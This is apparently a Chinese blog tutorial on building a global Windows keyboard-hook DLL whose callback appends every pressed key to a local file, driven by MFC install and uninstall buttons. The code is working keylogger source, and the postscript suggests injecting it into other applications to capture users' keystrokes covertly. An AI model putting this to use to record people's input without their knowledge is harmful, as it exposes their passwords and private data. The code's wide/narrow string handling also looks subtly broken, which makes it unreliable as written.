1 简介

  • 工具:VS2019
  • 目的:写一个动态链接库(全局键盘钩子的注册和注销),然后在MFC项目中调用,MFC中有两个按钮,一个用于注册全局钩子,一个用于销毁全局钩子。注册全局钩子后,按下键盘的按钮,被按下的按钮会被记录到F:\key.txt 文件中。
  • 注意
    • 有许多API建议参考微软的官方文档,你会看到很多很重要的东西,尤其是SetWindowsHookExA的官方文档
  • 另一个LL版本的写法,可以参考我的这篇文章

2 编写DLL动态链接库

  • 新建DLL项目

    • 不要勾选【将解决方案和项目放在同一目录中(D)】
  • 不要动建立好的项目中的其他文件
  • 在项目中新建Keyboard.cpp文件
    • 注意PROJECT_NAME这个宏,要和最后导出的DLL文件名一致
  • 关于键盘回调函数
    • 为什么要这么写?你需要参考回调函数的官方文档
    • 有哪些可以虚拟按键的代号?虚拟键码的官方文档
  • 注意
    • 2022.05.03日更新,我在QT中重新使用了 SetWindowsHookExW 这个函数发现了几个问题

      • 在QT中,键盘监听是WH_KEYBOARD_LL 而不是 WH_KEYBOARD,同理鼠标监听是WH_MOUSE_LL 而不是 WH_MOUSE,如果idHook填错的话,会导致回调函数挂不上。
      • 并且要注意,非LL版和LL版的回调函数中对应的参数值的含义是不同的,所以,一定要注意看官方文档。
// MathLibrary.cpp : Defines the exported functions for the DLL.
#include "pch.h" // use stdafx.h in Visual Studio 2017 and earlier
#include <utility>
#include <limits.h>
#include "Keyboard.h"// 项目的名称,注意这个项目的名称要和最后导出的DLL的文件名一致
#define PROJECT_NAME L"KeyboardDll"// 全局钩子
HHOOK g_hHook = NULL;/// <summary>
/// 键盘回调
/// </summary>
/// <param name="code"></param>
/// <param name="wParam">虚拟按键的代号</param>
/// <param name="lParam">键状态</param>
/// <returns></returns>
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) {if (code < 0 || code == HC_NOREMOVE) {// 如果代码小于零,则挂钩过程必须将消息传递给CallNextHookEx函数,而无需进一步处理,并且应返回CallNextHookEx返回的值。此参数可以是下列值之一。(来自官网手册)return CallNextHookEx(g_hHook, code, wParam, lParam);}if (lParam & 0x40000000) {// 【第30位的含义】键状态。如果在发送消息之前按下了键,则值为1。如果键被释放,则为0。(来自官网手册)// 我们只考虑被按下后松开的状态return CallNextHookEx(g_hHook, code, wParam, lParam);}char szKeyName[200];// 【参数1】LPARAM类型,代表键状态// 【参数2】缓冲区// 【参数3】缓冲区大小GetKeyNameText(lParam, (LPWSTR)szKeyName, 100);// 打开文件FILE* fp;errno_t err = fopen_s(&fp, "F:\\key.txt", "a+");if (err != 0) {// 文件打开失败,让钩子继续往下传return CallNextHookEx(g_hHook, code, wParam, lParam);}// 写入文件char szWriteText[100];// 改写字符串sprintf_s(szWriteText, "%s\n", szKeyName);fwrite(szWriteText, 1, strlen(szWriteText), fp);// 关闭文件fclose(fp);// 将钩子往下传return CallNextHookEx(g_hHook, code, wParam, lParam);
}/// <summary>
/// 安装钩子
/// </summary>
/// <returns></returns>
BOOL InstallHook() {// 【参数1】钩子的类型,这里代表键盘钩子// 【参数2】钩子处理的函数// 【参数3】获取模块,PROJECT_NAME为DLL的项目名称// 【参数4】线程的ID,如果是全局钩子的话,这里要填0,如果是某个线程的钩子,那就需要写线程的IDg_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle(PROJECT_NAME), 0);if (g_hHook == NULL) {// 钩子安装失败MessageBox(NULL, L"全局钩子注册失败", L"信息", MB_OK);return FALSE;}return TRUE;
}/// <summary>
/// 卸载钩子
/// </summary>
/// <returns>是否卸载成功</returns>
BOOL UninstallHook() {return UnhookWindowsHookEx(g_hHook);
}
  • 在项目中新建Keyboard.h文件

    • 将两个方法导出
    • 注意,Keyboard回调函数外界不使用,所以不用导出。
// MathLibrary.h - Contains declarations of math functions
#pragma once#ifdef MATHLIBRARY_EXPORTS
#define MATHLIBRARY_API __declspec(dllexport)
#else
#define MATHLIBRARY_API __declspec(dllimport)
#endif#include <iostream>
#include "windows.h"using namespace std;
extern "C" MATHLIBRARY_API BOOL InstallHook();
extern "C" MATHLIBRARY_API BOOL UninstallHook();
  • 在生成解决方案前,注意输出模式,该模式(x64)需要和使用该DLL文件的应用程序对应
  • 然后,默认在 解决方案/x64/Release/下可以找到DLL文件

3 在MFC项目中使用

  • 在VS2019中,创建MFC项目

    • 如果你没有MFC项目的选项,则点击【工具】-【获取工具和功能】
    • 选择【使用C++的桌面开发】,还没完,右侧的MFC安装选项可能不会被选中,你需要勾选一下
    • 下载完后就好了

  • 将上面得到的DLL文件放入MFC项目的根路径下
  • 放置两个Button按钮,双击Button按钮,自动创建两个回调函数,一个回调函数注册钩子,一个回调函数销毁钩子
  • 我采用显示的方式调用DLL,如果采用隐式的方式会更方便点,只不过需要上面生成的.lib文件
// 需要定义函数指针
typedef BOOL(*PADD)(void);
/// <summary>
/// 注册全局钩子
/// </summary>
void CMFCApplication1Dlg::OnBnClickedButton1()
{// 加载DLL库HMODULE hDLL = LoadLibrary(L"KeyboardDll.dll");if (hDLL == NULL) {MessageBox(L"加载失败");return;}// 获取库中的方法PADD pAdd = (PADD)GetProcAddress(hDLL, "InstallHook");  // 获取函数// 使用库中的方法pAdd();
}/// <summary>
/// 注销全局钩子
/// </summary>
void CMFCApplication1Dlg::OnBnClickedButton2()
{// 加载对应的库HMODULE hDLL = LoadLibrary(L"KeyboardDll.dll");if (hDLL == NULL) {MessageBox(L"加载失败");return;}// 获取库中的方法PADD pAdd = (PADD)GetProcAddress(hDLL, "UninstallHook");  // 获取函数// 使用pAdd();
}

3 后记

  • 结合上一篇文章,你可以将钩子函数动态注入到某个应用程序中。也就是把注册全局钩子的DLL中的函数,在DLLMain(DLL的入口方法中调用),这样就可以悄悄地截取到用户输入的键盘信息了。

C++ HOOK实现全局键盘钩子的详细过程相关推荐

  1. HOOK使用:全局键盘钩子

    // CatchKey.cpp : Defines the entry point for the DLL application. // #define _WIN32_WINNT 0x0500 // ...

  2. 如何让你的程序避开全局键盘钩子的监视

    原文地址:http://blog.okbase.net/BlueSky/archive/3839.html 一直以来有个疑问,就是如果别人在你的电脑上安装了键盘钩子来监视你的键盘按键动作,我的程序怎么 ...

  3. 使用raw input 代替全局键盘钩子

    //关于raw input 请查看msdn https://msdn.microsoft.com/en-us/library/windows/desktop/ms645536%28v=vs.85%29 ...

  4. C++编写Windows全局键盘钩子记录键盘输入

    1.键盘钩子处理程序 HookProc 2.键盘钩子安装程序 InstallHook 3.键盘钩子卸载程序 UnInstallHook 4.键盘钩子dll的加载,安装与释放 生成标准windows d ...

  5. 我的全局键盘钩子(KeyBoardHook)

    1,钩子操作类 public class KeyPressSender{[StructLayout(LayoutKind.Sequential)]public class KeyBoardHookSt ...

  6. VC++钩子使用之全局键盘钩子

    文章目录 钩子简介 使用钩子 生成KeyHook.dll 加载KeyHook.dll 窗体接收两次按键消息的问题 参考 如果想要在Win32窗体程序中实现按键捕获,可以覆写PreTranslateMe ...

  7. QQ密码输入框(防键盘钩子)原理分析

    1.网上看到的一些防星号查看器的代码大多是在后台维护一个字符串(真实的密码),界面则不显示真实的密码,这样做,维护那个字符串很费事,就因为我之前那样做过,我才在看到WM_GETTEXT后想要重做一个 ...

  8. vs2019键盘钩子_C#键盘按键监视

    using System; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; using ...

  9. 利用底层键盘钩子拦载任意按键(回调版)

    前段时间我曾经写过一篇<利用底层键盘钩子屏蔽任意按键>,并放到了我的blog上.这篇文章的题目中把"屏蔽"改成了"拦截",显然要比以前的版本强一些了 ...

  10. 利用底层键盘钩子屏蔽任意按键

    很多人都知道,如果想在系统范围内屏蔽键盘上的任意按键需要使用全局键盘钩子,然而像win键这样"倔强"的按键又不是普通的键盘钩子就能搞定的.这里我提供一种利用底层键盘钩子屏蔽任意按键 ...

最新文章

  1. BIEE-CSS样式大全
  2. 命名实体识别_用膨胀卷积进行命名实体识别 NER
  3. java 取cpuid、主板id、硬盘id、mac地址
  4. ApiOperationSupport注解的使用
  5. 记录 关于浏览器跨域和设置默认浏览器的问题
  6. node-red教程 5 函数节点
  7. HttpClient 发送 HTTP、HTTPS 请求的简单封装
  8. java http的get,post请求
  9. sql2008问题大全
  10. python发音1001python发音-1001种玩法 | Python 学习指南资源
  11. Java I/O系统之OutputStream
  12. python与pycharm的作用_JSON 在pycharm 与python 三者有什么关系?JSON有什么作用?
  13. vue 日历插件ele-calendar
  14. 网众无盘linux挂载u盘,个人总结出的49条网众无盘系统常见故障解决方法
  15. 如何避免谷歌GMC广告被封,被封后又如何解封呢?
  16. CSS3开启硬件加速及利弊
  17. OLED屏幕的IIC驱动程序
  18. [计算机网络] 拥塞控制
  19. 运行python程序总是报警告“libpng warning: iCCP: known incorrect sRGB profile”,解决方案:将Anaconda中的libpng版本替换即可
  20. 华南理工大学2013级计科一班操作系统实验

热门文章

  1. CANape操作指南
  2. PreScan快速入门到精通第二讲PreScan功能介绍
  3. PreScan第一课:软件简介和基础
  4. python ocr 识别 开源_OCR识别-python版(一)
  5. 惠普HP DeskJet 2131 打印机驱动
  6. 数学建模方法-多项式拟合
  7. 行政区划简称(包括别称)
  8. 面试题大全-操作系统面试题
  9. 2018~2021年软考下午真题考点总结-软考最新
  10. Win10 多出4个显示器无法删除的“通用非即插即用监视器”问题解决